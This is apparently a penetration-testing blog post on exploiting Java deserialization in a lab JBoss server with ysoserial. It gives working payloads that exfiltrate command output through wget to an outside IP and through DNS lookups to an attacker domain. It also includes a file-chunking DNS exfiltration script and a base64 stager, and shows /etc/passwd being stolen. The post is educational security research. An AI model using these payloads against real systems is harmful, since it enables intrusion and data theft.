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Introduction

In the security industry, we know that operating on untrusted inputs is a significant area of risk; and for penetration testers and attackers, a frequent source of high-impact issues. Serialization is no exception to this rule, and attacks against serialization schemes are innumerable. Unfortunately, developers enticed by the efficiency and ease of reflection-based and native serialization continue to build software relying on these practices.

Java deserialization vulnerabilities have been making the rounds for several years. Work from researchers like Chris Frohoff and Gabriel Lawrence draws attention to these issues and the availability of functional, easy to use payload-generation tools. Thus, attackers are paying more attention to this widespread issue.

While remote code execution (RCE) via property-oriented programming (POP) gadget chains is not the only potential impact of this vulnerability, we are going to focus on the methods that Cigital employs for post-exploitation in network-hardened environments using RCE payloads. Previously published attack-oriented research focuses mostly on white box validation (e.g., creating files in temporary directories) and timing-based blind attacks. We expand on this work by demonstrating the use of non-timing related side-channel communication and workarounds for challenges faced during exploitation.

Identifying the vulnerability

Serialized Java objects begin with “ac ed” when in hexadecimal format and “r00” when base64-encoded. The tmp example file contains a serialized Java object. As shown below, it begins with “ac ed” when viewed in hexadecimal format and “r00” when base64-encoded. PortSwigger’s proxy tool, BurpSuite, flags serialized Java objects observed in HTTP requests, and the Java Deserialization Scanner (Java DS) plugin allows practitioners to verify whether a serialized Java object is exploitable.

Figure 1: Serialized Java object in hex format

Figure 2: Serialized Java object in base64 format
To demonstrate exploitation techniques, we set up a target system running Debian with a vulnerable version of JBoss. From previous research, we know that the JMXInvokerServlet is vulnerable even though the base request does not initially include a serialized object. We use the Java DS plugin to scan the server’s JMXInvokerServlet by right-clicking the request and selecting the “Send request to DS – Manual testing” option.

Navigating to the Java DS tab, setting an insertion point in the body of the request, and selecting “Attack” provides us with the following results. Note that there are several potentially successful payloads.
The Java DS plugin relies on a built-in, open source payload-generation tool: Ysoserial. In our experience, running the latest version of the tool yields the best results, as it includes the most up-to-date payload types.

After building the project, modify the Java DS plugin to point to the latest jar file.

Figure 4: Conducting automated scan with Java DS plugin

Figure 5: Configuring Java DS to use verbose mode and Ysoserial 0.0.5
Exploiting the vulnerability: Blind command execution

Based on previous testing, we know that the CommonsCollections1 payload works against our target. Navigating to the Java DS “Exploiting” tab allows us to create and submit our own payloads. To demonstrate, we run the Unix system “uname -a” command.

![Java DS Exploiting tab with a payload example](image)

```
GET /invoker/JMIXInvokerServlet HTTP/1.1
Host: 10.0.2.6:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0)
Gecko/20100101 Firefox/38.0 Iceweasel/38.6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

java -jar ysoserial

CommonsCollections1 "uname -a"

Figure 6: Submitting "uname -a" command with Java DS
```

Inspecting the server response reveals another serialized object. However, it does not give us any indication as to whether our command was successful, nor any hints around the command’s output.
One technique to validate the successful execution of our commands is to use a time-based side-channel. By suspending the executing thread with Java sleep, we can determine that an application is exploitable by measuring how long it takes the target to provide a response.

A sleep-based payload is fine for identification, but not very helpful for a simulated attack. Let’s examine using other side-channels for interacting with our target.

**Complicating factors**

The Commons Collections POP gadget passes our command to Apache Commons exec. As such, the commands are invoking without a parent shell. Operating without a shell is limiting, but we can invoke a Bash shell to run our payloads with the “bash -c” command. As a final obstacle, Commons exec parses commands based on whitespace and payloads with spaces that do not execute as expected.

Figure 7: Response to “uname -a” payload contains another serialized object
A sleep-based payload is fine for identification, but not very helpful for a simulated attack. Let’s examine using other side-channels for interacting with our target.

Complicating factors

The Commons Collections POP gadget passes our command to Apache Commons exec. As such, the commands are invoking without a parent shell. Operating without a shell is limiting, but we can invoke a Bash shell to run our payloads with the “bash -c” command. As a final obstacle, Commons exec parses commands based on whitespace and payloads with spaces that do not execute as expected.

Figure 8: Java sleep payload results in 10-second delay
One approach is to use Bash string manipulation functions. The following example loads the base64 result of the "echo testing" command into variable c which is then added to wget request's path:

```
bash -c c=`{echo,testing}|base64`&&{wget, 54.161.175.139/$c}'
```

We can also use the $IFS (internal file separator) variable to denote spaces within the command passed to Bash:

```
bash –c wget$IFS54.161.175.139/`'uname$IFS-a|base64`
```

As a final note, back-ticks and dollar signs may need to be escaped with a back-slash depending on where and how the payloads are produced.

Figure 9: Appending "uname -a" output to wget HTTP request
If we are able to receive requests from the vulnerable application's host using wget, then we can place a reverse shell to facilitate comfortable post-exploitation. However, this is not always a viable option. Outbound traffic is typically restricted on application servers hosted inside enterprise data centers. To simulate a typical network-hardened host, we configure a firewall on our victim system so that the only outbound traffic allowed is DNS traffic over UDP port 53.

Even if the vulnerable application is limited to internal-only hosts, internal resolvers readily perform recursive name resolution—a practice that we can use to our advantage.
Data ex-filtration via DNS

We set up a publicly-facing DNS server and registered it as the authoritative nameserver for the domain dbohannon.com. Using the Unix `dig` command, we can make our target resolve an arbitrary name.

Inspecting the DNS logs reveals the DNS lookup request from the target host. We see "testingJavaDeserializationPayload" prepended to our request.

```
ubuntu@ip-172-31-56-48:~$ cat /var/log/syslog | grep Query | grep -ml testingJavaDeserializationPayload
```

Figure 12: Payload to resolve subdomain name on dbohannon.com

Figure 13: DNS request from victim system
Using this method of pre-pending data to DNS queries, we begin to ex-filtrate data from our victim system. Similar to the wget method, we base64-encode the data to eliminate special characters and whitespace that may invalidate the request.

Starting with `uname` from our target:

```
bash -c dig$IFS`uname$IFS-a|base64`.dbohannon.com
```

For larger output, we are limited in how long the requested domain name can be. As such, we can split the result into two parts:

```
bash -c dig$IFS`uname$IFS-a|cut$IFS-d$IFS-f1|base64`.dbohannon.com
```
Running the command and then inspecting our DNS server logs reveals our base64 payload.

Figure 15: Base64-encoded data pre-pended domain name in DNS logs

Using grep and cut, we extract and decode the payload from the DNS query. This reveals that our victim system is named debian1 and is running Linux 3.16.0.4-amd64.

Figure 16: Base64-decoded data reveals "uname" output from victim system

We repeat the above process to obtain the second half of the "uname -a" output.

**Staging tools and target reconnaissance**

With a way of interacting with the target, our focus moves to staging scripts and tools on the host. We demonstrate this technique by placing a script that helps us exfiltrate larger files.

Our script conducts the following steps to exfiltrate large files:

1. Parse the target file using the xxd utility.
2. Pre-pend each hex-encoded piece to a dig DNS query.
3. Add an index number in case the DNS queries arrive out of order.
4. Add a unique identifier in case multiple exports are conducted simultaneously.
5. Execute the dig commands.

```bash
#!/bin/bash
hexDump=`xxd -p $1`
i=0
for line in $hexDump
do
   dig $line"."$((i++))".DB1.dbhannon.com"
done
```

Figure 17: Shell script used to chunk and export files via DNS
In order to place the script on the victim system, we base64-encode the script and use `echo` to write a new file in the `/tmp` directory:

```bash
CommonsCollections1 "bash -c
echo$IFS'IyEvYmluL2Jhc2gKaGV4RHVtcD1geHhkIC1wICQxYCAKaT0wCmZvciBsa
              lIGluICRoZXhEdW1wCmRvCglkaWcgJGxpbmUib1IkKChpKyspKSIuREIxLmRib2hhbm5vb15jb20i
              CmRvbmUKCg==" |base64$IFS-d$IFS>$IFS/tmp/export.sh"
```

Figure 18: Payload used to echo base64-encoded shell script to victim system
Now that our script has been written to the target host at /tmp/export.sh, we make the file executable by running the "chmod 777 /tmp/export.sh" command. Now that the script is executable, we extract our target file, /etc/passwd/, with export.sh.

Figure 19: Exporting file /etc/passwd with our export.sh shell script

Inspecting the DNS logs show each part of our target file and its index number.

Figure 20: Each part of the /etc/passwd file is pre-pended to a DNS query visible in the DNS server logs
Using the following command, we extract each piece from the DNS logs, remove all newline characters, and pass the value back through the xxd utility:

```
cat /var/log/syslog | grep DB1 | grep Query | cut -dA -f2- | sort -t. -k2 -gu | cut -d. -f1 | tr -d \n | xxd -r -p
```

The result is the re-constructed `/etc/passwd` file from the victim system.

```
ubuntu@ip-172-31-56-48:~$ cat /var/log/syslog | grep DB1 | grep Query | cut -dA -f2- | sort -t. -k2 -gu | cut -d. -f1 | tr -d \n | xxd -r -p
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/bin/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
```

Figure 21: Reconstructing the data from each DNS query gives us the complete file

Beyond `/etc/passwd`, retrieving configuration files, WAR files, and other interesting targets furthers compromise.

We employ a similar method to write arbitrary binary files on the target file system. We then split those files into 400 byte pieces, place them on the target file system, verify their integrity with md5sum, then combine with join. DNS reverse shell tools, like DNSCat2, are candidates for this stage of the attack.

Finally, practitioners interested in scripting or automating these tasks will be happy to hear that Ysoserial can be invoked directly from the command-line. Be aware that the Bash string concatenation technique works better than the $IFS approach.

```
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1 'dig testingCommandLine.dbohannon.com' | curl --data-binary @http://10.0.2.6:8080/invoker/JMXInvokerServlet
```
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